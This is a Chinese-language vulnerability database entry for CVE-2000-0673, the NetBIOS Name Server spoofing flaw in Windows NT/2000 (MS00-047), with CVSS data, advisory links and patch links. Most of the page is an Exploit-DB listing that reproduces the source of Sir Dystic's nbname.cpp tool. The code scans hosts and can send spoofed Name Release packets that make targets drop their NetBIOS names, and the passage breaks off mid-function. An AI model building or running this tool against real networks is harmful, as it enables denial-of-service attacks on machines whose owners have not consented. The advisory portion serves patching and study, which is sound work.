CVE-2000-0673
CVSS5.0
发布时间 :2000-07-27 00:00:00
修订时间 :2008-09-05 16:21:36
NMCOE    

[原文]The NetBIOS Name Server (NBNS) protocol does not perform authentication, which allows remote attackers to cause a denial of service by sending a spoofed Name Conflict or Name Release datagram, aka the "NetBIOS Name Server Protocol Spoofing" vulnerability.


[CNNVD]Microsoft Windows NT/2000 NetBIOS名称冲突漏洞(MS00-047)(CNNVD-200007-073)

        
        Microsoft Windows NT/2000是微软发布的非常流行的操作系统。
        Windows系统中实现了NetBIOS名称服务(NBNS)协议用作Windows Internet名称服务(WINS)。根据设计,NBNS允许网络对等端帮助管理名称冲突,但这个协议是个未认证的协议,可能会被欺骗。攻击者可以滥用名称冲突机制,导致其他机器认为其名称发生了冲突,这样机器就无法在网络中注册名称,或放弃已注册的名称。
        远程攻击者可以通过向NetBIOS名称服务发送NetBIOS名称冲突消息导致拒绝服务。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:microsoft:windows_2000Microsoft Windows 2000
cpe:/o:microsoft:windows_nt:4.0Microsoft Windows NT 4.0
cpe:/o:microsoft:windows_nt:terminal_server

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0673
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0673
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200007-073
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/5035.php
(VENDOR_ADVISORY)  XF  netbios-name-server-spoofing
http://www.securityfocus.com/bid/1514
(VENDOR_ADVISORY)  BID  1514
http://www.microsoft.com/technet/security/bulletin/MS00-047.asp
(VENDOR_ADVISORY)  MS  MS00-047
http://www.securityfocus.com/bid/1515
(UNKNOWN)  BID  1515
http://www.nai.com/research/covert/advisories/044.asp
(UNKNOWN)  NAI  20000727 Windows NetBIOS Name Conflicts

- 漏洞信息

Microsoft Windows NT/2000 NetBIOS名称冲突漏洞(MS00-047)
中危 设计错误
2000-07-27 00:00:00 2005-10-12 00:00:00
远程  
        
        Microsoft Windows NT/2000是微软发布的非常流行的操作系统。
        Windows系统中实现了NetBIOS名称服务(NBNS)协议用作Windows Internet名称服务(WINS)。根据设计,NBNS允许网络对等端帮助管理名称冲突,但这个协议是个未认证的协议,可能会被欺骗。攻击者可以滥用名称冲突机制,导致其他机器认为其名称发生了冲突,这样机器就无法在网络中注册名称,或放弃已注册的名称。
        远程攻击者可以通过向NetBIOS名称服务发送NetBIOS名称冲突消息导致拒绝服务。
        

- 公告与补丁

        厂商补丁:
        Microsoft
        ---------
        Microsoft已经为此发布了一个安全公告(MS00-047)以及相应补丁:
        MS00-047:Patch Available for "NetBIOS Name Server Protocol Spoofing"
        链接:
        http://www.microsoft.com/technet/security/bulletin/MS00-047.asp

        补丁下载:
        Windows 2000:
        
        http://www.microsoft.com/Downloads/Release.asp?ReleaseID=23370

        
        Windows NT 4.0 Workstation, Server和Server, Enterprise Edition:
        
        http://www.microsoft.com/Downloads/Release.asp?ReleaseID=22138

        
        Windows NT 4.0 Server, Terminal Server Edition:
        
        http://www.microsoft.com/Downloads/Release.asp?ReleaseID=24516

- 漏洞信息 (20106)

Microsoft Windows NT 4/2000 NetBIOS Name Conflict Vulnerability (EDBID:20106)
windows remote
2000-08-01 Verified
0 Sir Dystic
N/A [点击下载]
source: http://www.securityfocus.com/bid/1514/info

An attacker can send the NetBIOS name service a NetBIOS Name Conflict message even when the receiving machine is not in the process of registering its NetBIOS name. The target will then not attempt to use that name in any future netwrok connection attempts. This can lead to intermittent connectivity problems, or the loss of all NetBIOS functionality. 

// nbname.cpp - decodes NetBIOS name packets (UDP 137), with some other options

// Copyright 2000 Sir Dystic of the Cult of the Dead Cow - sd@cultdeadcow.com

//

// For Win32 should be compiled with /DWIN32 /MT (use multi-threaded libraries)

// If it complains about socklen_t try adding -Dsocklen_t=int

//

//  Thanks to all the people who helped me with ideas, testing and making it work

//   under Unix, especially:

//   Optyx, FreqOut, Nyar, Netmask, T12, and many others I am too lame to remember



/*



Version history:



v1.8 - July 29, 2000

Discussed nbname at Defcon



v1.9 - August 1, 2000

Began keeping history

Added /SCAN option

Added /RETRY option

Changed /NOBOOTY option to /ALLOW and /DENY (sorry all you anal lovers)

Made commandline options case-insensitive (thanks missnglnk for being aware of 

  strcasecmp() which nobody else mentioned to me)

Added /RESPOND option





  */









#ifdef WIN32



// comment the following line to make a Winsock 1.1 compile 

#define WINSOCK2



#pragma comment(linker, "/SUBSYSTEM:CONSOLE")



#define CLOSESOCKET(x) closesocket(x)

#define GETSOCKETERROR() WSAGetLastError()

#define GETRANDSEED()  GetTickCount()

#define SLEEP(x) Sleep(x)

#define CREATETHREAD(x, y) _beginthread(x, 0, y)

#define EXITTHREAD() _endthread()

#define STRICMP(x, y) stricmp(x, y)

#define STRNICMP(x, y, z) strnicmp(x, y, z)



#include <process.h>



#ifdef WINSOCK2



#include <winsock2.h>

#include <Ws2tcpip.h>



#pragma comment(lib, "ws2_32.lib")



#else



#include <windows.h>

#include <winsock.h>

#pragma comment(lib, "wsock32.lib")



#endif



#include <time.h>

#include <io.h>



#endif





// common includes

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <ctype.h>







#ifndef WIN32



#include <sys/socket.h>

#include <sys/param.h>

#include <sys/types.h>

#include <sys/time.h>

#include <arpa/inet.h>

#include <netinet/in.h>

#include <netdb.h>

#include <unistd.h>

#include <time.h>





typedef unsigned char BYTE, *LPBYTE;

typedef unsigned short WORD, *LPWORD;

typedef unsigned long DWORD, *LPDWORD;

typedef unsigned long BOOL, *LPBOOL;

typedef int SOCKET;

typedef struct sockaddr SOCKADDR;

typedef struct sockaddr_in SOCKADDR_IN;

typedef SOCKADDR *LPSOCKADDR;

typedef SOCKADDR_IN *LPSOCKADDR_IN;

typedef struct hostent HOSTENT;

typedef HOSTENT *LPHOSTENT;

typedef unsigned long ULONG;

typedef unsigned short USHORT;

typedef long LONG;



#define GETSOCKETERROR() 0

#define GETRANDSEED() clock()

#define CLOSESOCKET(x) close(x)

#define SLEEP(x) usleep(x*1000)

#define STRICMP(x, y) strcasecmp(x, y)

#define STRNICMP(x, y, z) strncasecmp(x, y, z)



#define MAKEWORD(a, b)      ((WORD)(((BYTE)(a)) | ((WORD)((BYTE)(b))) << 8))

#define MAKEULONG(l, h) ((ULONG)(((USHORT)(l)) | ((ULONG)((USHORT)(h))) << 16))

#define MAKELONG(l, h)  ((LONG)MAKEULONG(l, h))



#define FALSE 0

#define TRUE 1

#define INVALID_SOCKET -1

#define SOCKET_ERROR -1



#endif





#pragma pack(1)





#define NETBIOSNAMEPORT 137

#define WILDCARDNAME "*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"



// uncomment the following line to display statistics info (windows and samba boxes seem to always set this info to 0s)

//#define STUFFTHATSUSUALLYALLZERO



BOOL g_Astat = FALSE;

BOOL g_Conflict = FALSE;

BOOL g_FindAll = FALSE;

BOOL g_Reverse = FALSE;

BOOL g_NoLocal = FALSE;

BOOL g_NoLocalNet = FALSE;



char *g_OutServsFile = NULL;

char *g_OutAllFile = NULL;

char *g_ASOutFile = NULL;

char *g_SpawnCommand = NULL;

char *g_SpawnArgs = NULL;

char *g_ScanFile = NULL;

char *g_AllowName = NULL;

char *g_DenyName = NULL;

char *g_RespondName = NULL;



DWORD g_TargetIP = INADDR_NONE;

DWORD g_LocalIP = INADDR_NONE;

DWORD g_BroadcastIP = INADDR_BROADCAST;

DWORD g_NetmaskIP = 0;

DWORD g_SweepStartIP = 0;

DWORD g_SweepEndIP = 0;



DWORD g_PacketDelay = 100;

DWORD g_ReceiveTimeout = 0;



WORD g_LocalPort = NETBIOSNAMEPORT;



int g_Retries = 3;



#define ONT_BNODE 0

#define ONT_PNODE 1

#define ONT_MNODE 2

#define ONT_HNODE 3



typedef struct 

{

	BYTE UnitID[6];				// MAC address

	BYTE Jumpers;

	BYTE TestResult;

	WORD Version;

	WORD StatsPeriod;

	WORD NumCRCs;

	WORD NumAlignmentErrors;

	WORD NumCollisions;

	WORD NumSendAborts;

	DWORD NumGoodSends;

	DWORD NumGoodRcvs;

	WORD NumRetransmits;

	WORD NumResourceConditions;

	WORD NumFreeCommandBlocks;

	WORD NumCommandBlocks;

	WORD NumMaxCommandBlocks;

	WORD NumPendingSessions;

	WORD NumMaxPendingSessions;

	WORD NumMaxTotalSessions;

	WORD SessionDataPacketSize;

} NETBIOSSTATS, *PNETBIOSSTATS;



typedef struct

{

	WORD Reserved:13;

	WORD ONT:2;			// Owner Node Type:

						//  00 = B node

                        //  01 = P node

                        //  10 = M node

                        //  11 = Reserved for future use

                        // For registration requests this is the

                        // claimant's type.

                        // For responses this is the actual owner's type.

	WORD fGroup:1;		// Group Name Flag.

						// If one (1) then the RR_NAME is a GROUP NetBIOS name.

						// If zero (0) then the RR_NAME is a UNIQUE NetBIOS name.

} NBFLAGS;





typedef struct

{

	WORD Reserved:9;	// Reserved for future use.  Must be zero (0).

	WORD fPermanent:1;	// Permanent Name Flag.  If one (1) then entry is for the permanent node name.  

						//  Flag is zero (0) for all other names.

	WORD fActive:1;		// Active Name Flag.  All entries have this flag set to one (1).

	WORD fConflict:1;	// Conflict Flag.  If one (1) then name on this node is in conflict.

	WORD fDeregister:1;	// Deregister Flag.  If one (1) then this name is in the process of being deleted.

	WORD OwnerType:2;	// Owner Node Type:

                        //  00 = B node

                        //  01 = P node

                        //  10 = M node

                        //  11 = Reserved for future use

	WORD fGroupName:1;	// Group Name Flag.

						//  If one (1) then the name is a GROUP NetBIOS name.

						//  If zero (0) then it is a UNIQUE NetBIOS name.

} NETBIOSNAMEFLAGS;



typedef struct

{

	char Name[15];		// uncompressed name

	BYTE BinVal;		// binary value

	WORD Flags;			// flags

} NETBIOSNAME, *PNETBIOSNAME;



#define RCODE_FMTERR	0x1

#define RCODE_SRVERR	0x2

#define RCODE_NAMERR	0x3

#define RCODE_IMPERR	0x4

#define RCODE_RFSERR	0x5

#define RCODE_ACTERR	0x6

#define RCODE_CFTERR	0x7



typedef struct 

{

	WORD Type;			// type of recource record

	WORD Class;			// class of resource record (always IN)

	DWORD TTL;			// Time to live

	WORD RDLength;		// length of following resource data

} RESOURCERECORDHEADER, *PRESOURCERECORDHEADER;



#define RRTYPE_A		0x0001

#define RRTYPE_NS		0x0002

#define RRTYPE_NULL		0x000A

#define RRTYPE_NB		0x0020

#define RRTYPE_NBSTAT	0x0021



#define RRCLASS_IN		0x0001



typedef struct 

{

	WORD RCode   : 4;			// response code

	WORD fNM_B   : 1;			// Broadcast flag

	WORD fNM_00  : 2;			// reserved, always 0

	WORD fNM_RA  : 1;			// Recursion Available flag

	WORD fNM_RD  : 1;			// Recursion Desired flag

	WORD fNM_TC  : 1;			// Truncation flag

	WORD fNM_AA  : 1;			// Authoratative answer flag

	WORD OpCode  : 4;			// Operation code

	WORD fResponse:1;			// Response flag

} OPCODEFLAGSRCODE;



typedef struct {

	WORD TransactionID;			// transaction id, responses match original packet, requests are random/sequential

	WORD OpcodeFlagsRcode;		// opcode, flags and rcode

	WORD QDCount;				// number of questions

	WORD ANCount;				// number of answer resource records

	WORD NSCount;				// number of name service resource records

	WORD ARCount;				// number of athoratative resource records

} NBNAMEHEADER, *PNBNAMEHEADER;



#define OPCODE_QUERY		0

#define OPCODE_REGISTRATION	5

#define OPCODE_RELEASE		6

#define OPCODE_WACK			7

#define OPCODE_REFRESH		8



typedef struct{

	BYTE Name[34];		// compressed name

	WORD Type;			// question type

	WORD Class;			// question class (always type IN - Internet)

} QUESTION, *PQUESTION;



#define QUESTION_TYPE_NB		0x0020	// general name request

#define QUESTION_TYPE_NBSTAT	0x0021	// stats request



#define QUESTION_CLASS_IN		0x0001	// internet class



unsigned char hexvals[16] = {'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};





void PrintNetbiosName(unsigned char *name)

{

	BYTE BinVal;

	char PrintName[16];



	memcpy(PrintName, name, 15);

	PrintName[15] = 0;



	BinVal = name[15];



	printf("%15s <%02x>", PrintName, BinVal);

}



int NetbiosNameToString(char *dest, const BYTE *src, int PacketLeft)

{

	int y;

	static unsigned char Name[32];

	unsigned char UncompressedName[256];

	unsigned char hexbuf[3];

	char *ptr;

	BYTE len;



	// get length of string

	len = *src;



	if (len & 0xC0) // name pointer or other

	{

		len = 0;

		// just return last name read

	} else {

		if (len <= PacketLeft)

		{

			puts("[Short name, aborting]");

			return 0;

		}



		memset(UncompressedName, 0, sizeof(UncompressedName));



		memset(Name, ' ', sizeof(Name) );



		memcpy(UncompressedName, src+1, len);



		for (y = 0; y < 16; y++)

		{

			hexbuf[0] = hexvals[UncompressedName[y*2] - 'A'];

			hexbuf[1] = hexvals[UncompressedName[y*2+1] - 'A'];

			hexbuf[2] = 0;

			Name[y] = (BYTE)strtoul((char *)hexbuf, &ptr, 16);

		}

	}



	memcpy(dest, (const char *)Name , 16);



	return (int)(len+2);

}



int StringToNetbiosName(char *dest, const char *src, BYTE binval)

{

	int x, y;

	unsigned char Name[16];

	unsigned char UncompressedName[256];

	char hexbuf[2];



	// set name to all zeros

	memset(Name, 0, sizeof(Name));



	// get length of name

	x = strlen(src);



	// truncate at 15th char

	if (x > 15) x = 15;



	// copy up to 15 chars leaving the rest space padded

	memcpy(Name, src, x);



	// uppercase the name

	Name[15] = 0;

	for (y = 0; y < 15; y++)

		Name[y] = toupper((int)Name[y]);



	// set 16th binary char

	Name[15] = binval;



	UncompressedName[0] = 32;



	// convert each char to hex

	for (x = 0; x < 16; x++)

		sprintf((char *)&UncompressedName[(x*2)+1], "%02X", (DWORD)Name[x] );



	// add 'A' to each char

	for (x = 1; x <= 32; x++)

	{

		char *ptr;



		hexbuf[0] = UncompressedName[x];

		hexbuf[1] = 0;

		UncompressedName[x] = 'A' + (BYTE)strtoul(hexbuf, &ptr, 16);;

	}



	UncompressedName[33] = 0;

#if 0

	// add SCOPE_ID 

	UncompressedName[33] = 7;

	memcpy((char *)&UncompressedName[34], "NETBIOS", 7);



	UncompressedName[41] = 3;

	memcpy((char *)&UncompressedName[42], "COM", 3);

#endif



	// set the length

	x = 34;



	memcpy(dest, UncompressedName, x);



	return x;

}



			



DWORD FormPacket(unsigned char *buff, WORD TranID, BYTE Opcode, char *QuestionName, WORD QuestionType, BOOL fResponse, BOOL fBroadcast, BOOL fTruncated, BOOL fRecursionAvailable, BOOL fRecursionDesired, BOOL fAuthoratativeAnswer, WORD RCode, WORD QDCount, WORD ANCount, WORD NSCount, WORD ARCount, DWORD TargetIP, BOOL fGroup, BYTE ONT)

{

	NBFLAGS nbflags;

	PNBNAMEHEADER pnbnameheader = (PNBNAMEHEADER)buff;

	OPCODEFLAGSRCODE Wcode;

	BYTE *ptr, *firstnameptr = NULL;

	DWORD d;

	WORD w;



	memset(pnbnameheader, 0, sizeof(NBNAMEHEADER) );



	pnbnameheader->TransactionID = TranID;	// Transaction ID



	Wcode.fResponse = fResponse;		// request not response

	Wcode.OpCode = Opcode;				// operation code (command)

	Wcode.fNM_00 = 0;					// always 0

	Wcode.fNM_B = fBroadcast;			// broadcast

	Wcode.fNM_RA = fRecursionAvailable;	// always 0 for requests

	Wcode.fNM_RD = fRecursionDesired;	// no recursion requested

	Wcode.fNM_TC = fTruncated;			// not truncated

	Wcode.fNM_AA = fAuthoratativeAnswer;// always 0 for requests

	Wcode.RCode = RCode;



	pnbnameheader->OpcodeFlagsRcode = htons(*((WORD*)&Wcode));



	pnbnameheader->QDCount = htons(QDCount);

	pnbnameheader->ANCount = htons(ANCount);

	pnbnameheader->ARCount = htons(ARCount);

	pnbnameheader->NSCount = htons(NSCount);



	ptr = (BYTE *)(pnbnameheader + 1);



	if (QDCount > 0)

	{

		PQUESTION pquestion = (PQUESTION)ptr;



		StringToNetbiosName((char *)pquestion->Name, QuestionName, QuestionName[15]);



		firstnameptr = pquestion->Name;



		pquestion->Type = htons(QuestionType);

		pquestion->Class = htons(QUESTION_CLASS_IN);

		

		ptr += sizeof(QUESTION);

	}



	if (ANCount > 0)

	{

		d = StringToNetbiosName((char *)ptr, QuestionName, QuestionName[15]);



		ptr += d;



		PRESOURCERECORDHEADER presrecordheader = (PRESOURCERECORDHEADER)ptr;



		presrecordheader->Class = htons(RRCLASS_IN);

		presrecordheader->RDLength = htons(6);

		presrecordheader->TTL = 0;

		presrecordheader->Type = htons(RRTYPE_NB);



		ptr += sizeof(RESOURCERECORDHEADER);



		nbflags.fGroup = fGroup;

		nbflags.Reserved = 0;

		nbflags.ONT = ONT;

		

		memcpy(&w, &nbflags, sizeof(WORD) );



		w = htons(w);



		memcpy(ptr, &w, sizeof(WORD));



		ptr += sizeof(WORD);



		*((DWORD *)ptr) = TargetIP;



		ptr += sizeof(DWORD);

	}



	if (ARCount > 0)

	{

		if (firstnameptr == NULL)

		{

			d = StringToNetbiosName((char *)ptr, QuestionName, QuestionName[15]);

			ptr += d;

		}

		else

		{

			*((WORD *)ptr) = htons(0xC000 | (firstnameptr - buff));

			ptr+=2;

		}



		PRESOURCERECORDHEADER presrecordheader = (PRESOURCERECORDHEADER)ptr;



		presrecordheader->Class = htons(RRCLASS_IN);

		presrecordheader->RDLength = htons(6);

		presrecordheader->TTL = 0;

		presrecordheader->Type = htons(RRTYPE_NB);



		ptr += sizeof(RESOURCERECORDHEADER);



		nbflags.fGroup = fGroup;

		nbflags.Reserved = 0;

		nbflags.ONT = ONT;

		

		memcpy(&w, &nbflags, sizeof(WORD) );



		w = htons(w);



		memcpy(ptr, &w, sizeof(WORD));



		ptr += sizeof(WORD);



		*((DWORD *)ptr) = TargetIP ;

		



		ptr += sizeof(DWORD);

	}



	return (DWORD)(ptr - buff);

}











DWORD ProcessResourceRecord(const BYTE *ptr, int Type, SOCKET sock, LPSOCKADDR_IN psockaddr, int PacketLeft)

{

	BYTE outbuff[1024];

	char NameBuff[256];

	WORD w, RRType, RRClass, RRRDLength, NameFlags, TranID;

	DWORD d, RRTTL;

	BYTE NumNames;

	BYTE BinVal;

	NETBIOSNAMEFLAGS NameFlagsStruct;

	NBFLAGS nbflags;

	int x;



	d = NetbiosNameToString(NameBuff, ptr, PacketLeft);



	if (d == 0) return 0;



	PrintNetbiosName((BYTE *)NameBuff);

	puts("");

	ptr += d;



	if (PacketLeft - d < sizeof(RESOURCERECORDHEADER) || PacketLeft - d < sizeof(RESOURCERECORDHEADER) + ntohs(((PRESOURCERECORDHEADER)ptr)->RDLength) )

	{

		puts("[Short record, aborting]");

		return 0;

	}



	PRESOURCERECORDHEADER presrecordheader = (PRESOURCERECORDHEADER)ptr;





	RRType = ntohs(presrecordheader->Type);

	RRClass = ntohs(presrecordheader->Class);

	RRTTL = ntohl(presrecordheader->TTL);

	RRRDLength = ntohs(presrecordheader->RDLength);



	ptr = (LPBYTE)(presrecordheader+1);





	switch (RRType)

	{

	case RRTYPE_A:

		printf("IP Address Resource Record:\n");

		break;

	case RRTYPE_NS:

		printf("Name Service Resource Record:\n");

		break;

	case RRTYPE_NULL:

		printf("NULL Resource Record:\n");

		break;

	case RRTYPE_NB	:

		printf("NetBIOS Name Service Resource Record:\n");

		break;

	}



	if (g_FindAll && RRType == RRTYPE_NB && memcmp(NameBuff, WILDCARDNAME, 16) == 0)

	{

		d = FormPacket(outbuff, rand(), OPCODE_QUERY, WILDCARDNAME, QUESTION_TYPE_NBSTAT, FALSE, TRUE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0,	0, 0, 0, 0, ONT_BNODE);



		sendto(sock, (const char *)outbuff, d, 0, (LPSOCKADDR)psockaddr, sizeof(SOCKADDR_IN) );



		printf(" **** NBSTAT request packet sent\n");



	}



	switch (RRType)

	{

	case RRTYPE_A:

	case RRTYPE_NS:

		break;

	case RRTYPE_NULL:

	case RRTYPE_NB	:



		for (x = 0; x < RRRDLength / 6; x++)

		{

			memcpy(&w, ptr, sizeof(w) );

			w = ntohs(w);

			memcpy(&nbflags, &w, sizeof(w) );

			ptr += sizeof(WORD);



			printf("Owner Node Type: ");

			switch (nbflags.ONT)

			{

			case ONT_BNODE:

				printf("B-NODE ");

				break;

			case ONT_PNODE:

				printf("P-NODE ");

				break;

			case ONT_MNODE:

				printf("M-NODE ");

				break;

			case ONT_HNODE:

				printf("H-NODE ");

			}



			printf("  ");



			if (nbflags.fGroup)

				printf("GROUP  ");

			else

				printf("UNIQUE ");



			printf("  -  ");



			printf("IP: %u.%u.%u.%u", *ptr, *(ptr+1), *(ptr+2),*(ptr+3));



			ptr+=4;



			puts("");



		}



		break;

	case RRTYPE_NBSTAT:

		{

			FILE *outfile = NULL;



			printf("Node Status Resource Record:\n");

			NumNames = *ptr;

			ptr++;

			PNETBIOSNAME pnetbiosname = (PNETBIOSNAME)ptr;



			if (NumNames > 0 && g_OutAllFile != NULL)

			{

				outfile = fopen(g_OutAllFile , "at");

				if (outfile != NULL)

				{

					BinVal = pnetbiosname->BinVal;

					pnetbiosname->BinVal = 0;

					fprintf(outfile, "%s %s\n", inet_ntoa(psockaddr->sin_addr), pnetbiosname->Name);

					pnetbiosname->BinVal = BinVal;

					fclose(outfile);

					printf(" **** Machine added to %s\n", g_OutAllFile );

					outfile = NULL;

				}

			}



			if (g_ASOutFile != NULL)

			{

				outfile = fopen(g_ASOutFile, "at");

				if (outfile != NULL)

				{

					time_t curtime = time(NULL);

					fprintf(outfile, "ASTAT response from %s at %s", inet_ntoa(psockaddr->sin_addr), ctime(&curtime) );

				}

			}





			for (w = 0; w < NumNames; w++)

			{

				char *tptr;

				BinVal = pnetbiosname->BinVal;

				pnetbiosname->BinVal = 0;



				printf("%s <%02x>  ", pnetbiosname->Name, BinVal );



				if (outfile != NULL)

					fprintf(outfile, "%s <%02x>  ", pnetbiosname->Name, BinVal );



				pnetbiosname->BinVal = BinVal;



				NameFlags = ntohs(pnetbiosname->Flags);

				memcpy(&NameFlagsStruct, &NameFlags, sizeof(NameFlags) );

				if (NameFlagsStruct.fActive)

					tptr = "ACTIVE   ";

				else

					tptr = "INACTIVE ";



				printf("%s", tptr);

				if (outfile != NULL)

					fprintf(outfile, "%s", tptr);



				if (NameFlagsStruct.fGroupName)

					tptr = "GROUP  ";

				else

					tptr = "UNIQUE ";



				printf("%s", tptr);

				if (outfile != NULL)

					fprintf(outfile, "%s", tptr);



				if (NameFlagsStruct.fPermanent)

					tptr = "PERMANENT ";

				else

					tptr = "NOTPERM   ";



				printf("%s", tptr);

				if (outfile != NULL)

					fprintf(outfile, "%s", tptr);



				if (NameFlagsStruct.fConflict)

					tptr = "INCONFLICT ";

				else

					tptr = "NOCONFLICT ";



				printf("%s", tptr);

				if (outfile != NULL)

					fprintf(outfile, "%s", tptr);





				if (NameFlagsStruct.fDeregister)

					tptr = "DEREGISTERED ";

				else

					tptr = "NOTDEREGED   ";



				printf("%s", tptr);

				if (outfile != NULL)

					fprintf(outfile, "%s", tptr);





				switch (NameFlagsStruct.OwnerType)

				{

				case ONT_BNODE:

					tptr = "B-NODE ";

					break;

				case ONT_PNODE:

					tptr = "P-NODE ";

					break;

				case ONT_MNODE:

					tptr = "M-NODE ";

					break;

				case ONT_HNODE:

					tptr = "H-NODE ";

				}



				printf("%s\n", tptr);

				if (outfile != NULL)

					fprintf(outfile, "%s\n", tptr);



				if (!NameFlagsStruct.fGroupName && BinVal == 0x20 )

				{

					if (g_OutServsFile != NULL)

					{

						FILE *outfile2 = fopen(g_OutServsFile, "at");

						if (outfile2 != NULL)

						{

							pnetbiosname->BinVal = 0;



							fprintf(outfile2, "%s %s\n", inet_ntoa(psockaddr->sin_addr), pnetbiosname->Name);



							pnetbiosname->BinVal = BinVal;



							fclose(outfile2);



							printf(" **** Machine added to %s\n", g_OutServsFile );

						}

					}



					if (g_SpawnCommand != NULL)

					{

						char buff[1024];



						pnetbiosname->BinVal = 0;



						sprintf(buff, "%s", inet_ntoa(psockaddr->sin_addr));

#ifdef WIN32



						if (_spawnlpe(_P_NOWAIT, g_SpawnCommand, g_SpawnCommand, g_SpawnArgs, pnetbiosname->Name, buff, NULL, NULL) == -1)

							printf(" *** Error spawning \"%s\"\n", g_SpawnCommand);

						else

						{

							printf(" **** Spawned \"%s\"\n", g_SpawnCommand);

						}

#else

						if (fork() == 0)

							if (execlp(g_SpawnCommand, g_SpawnCommand, g_SpawnArgs, pnetbiosname->Name, buff, NULL) == -1 )

							{

								printf(" *** Error spawning \"%s %s %s %s\"\n", g_SpawnCommand, g_SpawnArgs, pnetbiosname->Name, buff );

								exit(0);

							}

#endif



						pnetbiosname->BinVal = BinVal;

						SLEEP(20);

					}

				}



				

				if (g_Conflict && !NameFlagsStruct.fConflict )

				{

					TranID = rand();



					d = FormPacket(outbuff, TranID, OPCODE_RELEASE, pnetbiosname->Name, QUESTION_TYPE_NB, FALSE, FALSE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0, 0, 1, psockaddr->sin_addr.s_addr, NameFlagsStruct.fGroupName, NameFlagsStruct.OwnerType);



					sendto(sock, (const char *)outbuff, d, 0, (LPSOCKADDR)psockaddr, sizeof(SOCKADDR_IN) );



					printf(" **** Name release sent to %s\n", inet_ntoa(psockaddr->sin_addr) );

				}



				pnetbiosname++;

			}





			PNETBIOSSTATS pnetbiosstats = (PNETBIOSSTATS)pnetbiosname;



			printf("MAC Address:             %02X-%02X-%02X-%02X-%02X-%02X\n", pnetbiosstats->UnitID[0], pnetbiosstats->UnitID[1], pnetbiosstats->UnitID[2], pnetbiosstats->UnitID[3], pnetbiosstats->UnitID[4], pnetbiosstats->UnitID[5] );

			if (outfile != NULL)

				fprintf(outfile, "MAC Address:             %02X-%02X-%02X-%02X-%02X-%02X\n\n", pnetbiosstats->UnitID[0], pnetbiosstats->UnitID[1], pnetbiosstats->UnitID[2], pnetbiosstats->UnitID[3], pnetbiosstats->UnitID[4], pnetbiosstats->UnitID[5] );



#ifdef STUFFTHATSUSUALLYALLZERO

			printf("\nStatistics:\n");

			printf("Jumpers:                 0x%02x\n", pnetbiosstats->Jumpers);

			printf("Test result:             0x%02x\n", pnetbiosstats->TestResult);

			printf("Version:                 %d.%d\n", HIBYTE(pnetbiosstats->Version), LOBYTE(pnetbiosstats->Version) );

			printf("Stats period:            0x%04x\n", ntohs(pnetbiosstats->StatsPeriod) );

			printf("Num CRCs:                %u\n", ntohs(pnetbiosstats->NumCRCs ) );

			printf("Num Alignment errs:      %u\n", ntohs(pnetbiosstats->NumAlignmentErrors ) );

			printf("Num Collisions:          %u\n", ntohs(pnetbiosstats->NumCollisions ) );

			printf("Num Send Aborts:         %u\n", ntohs(pnetbiosstats->NumSendAborts ) );

			printf("Num Good Sends:          %u\n", ntohl(pnetbiosstats->NumGoodSends ) );

			printf("Num Good Receives:       %u\n", ntohl(pnetbiosstats->NumGoodRcvs ) );

			printf("Num Retransmits:         %u\n", ntohs(pnetbiosstats->NumRetransmits ) );

			printf("Num Resource Conditions: %u\n", ntohs(pnetbiosstats->NumResourceConditions ) );

			printf("Free Command Blocks:     %u\n", ntohs(pnetbiosstats->NumFreeCommandBlocks ) );

			printf("Total Command Blocks:    %u\n", ntohs(pnetbiosstats->NumCommandBlocks ) );

			printf("Max Command Blocks       %u\n", ntohs(pnetbiosstats->NumMaxCommandBlocks ) );

			printf("Pending Sessions:        %u\n", ntohs(pnetbiosstats->NumPendingSessions ) );

			printf("Max Pending Sessions:    %u\n", ntohs(pnetbiosstats->NumMaxPendingSessions ) );

			printf("Max Total Sessions:      %u\n", ntohs(pnetbiosstats->NumMaxTotalSessions ) );

			printf("Session Data Packet Size:%u\n", ntohs(pnetbiosstats->SessionDataPacketSize ) );

#endif



			if (outfile != NULL)

			{

				fclose(outfile);

				outfile = NULL;

			}



		}

		break;

	default:

		printf("Unknown resource record type: 0x%04x\n", RRType);

		break;

	}



	return d + RRRDLength + sizeof(RESOURCERECORDHEADER);

}





DWORD ProcessPacket(char *buff, int packetsize, SOCKET sock, LPSOCKADDR_IN psockaddr)

{

	char NameBuff[256];

	PNBNAMEHEADER pnbnameheader = (PNBNAMEHEADER)buff;

	OPCODEFLAGSRCODE Wcode;

	WORD w, QDCount, ANCount, NSCount, ARCount, RCode, OPCode;

	BOOL fResponse, fBroadcast, fRecursionAvailable, fRecursionDesired, fTruncated, fAuthoratativeAnswer;

	const BYTE *ptr;

	DWORD d;



	if (packetsize < sizeof(NBNAMEHEADER) )

	{

		puts("[Short packet, aborting]");

		return 0;

	}



	QDCount = ntohs(pnbnameheader->QDCount);

	ANCount = ntohs(pnbnameheader->ANCount);

	ARCount = ntohs(pnbnameheader->ARCount);

	NSCount = ntohs(pnbnameheader->NSCount);



	w = ntohs(pnbnameheader->OpcodeFlagsRcode);



	memcpy(&Wcode, &w, sizeof(w) );



	RCode = Wcode.RCode;



	OPCode = Wcode.OpCode;



	fResponse = Wcode.fResponse;

	fBroadcast = Wcode.fNM_B;

	fRecursionAvailable = Wcode.fNM_RA;

	fRecursionDesired = Wcode.fNM_RD;

	fTruncated = Wcode.fNM_TC;

	fAuthoratativeAnswer = Wcode.fNM_AA;



	ptr = (const BYTE *)(pnbnameheader+1);



	if (RCode != 0)

	{

		printf("RCode: ");



		switch (RCode)

		{

		case RCODE_FMTERR:

			printf("Format Error: Request was invalidly formatted");

			break;

		case RCODE_SRVERR:

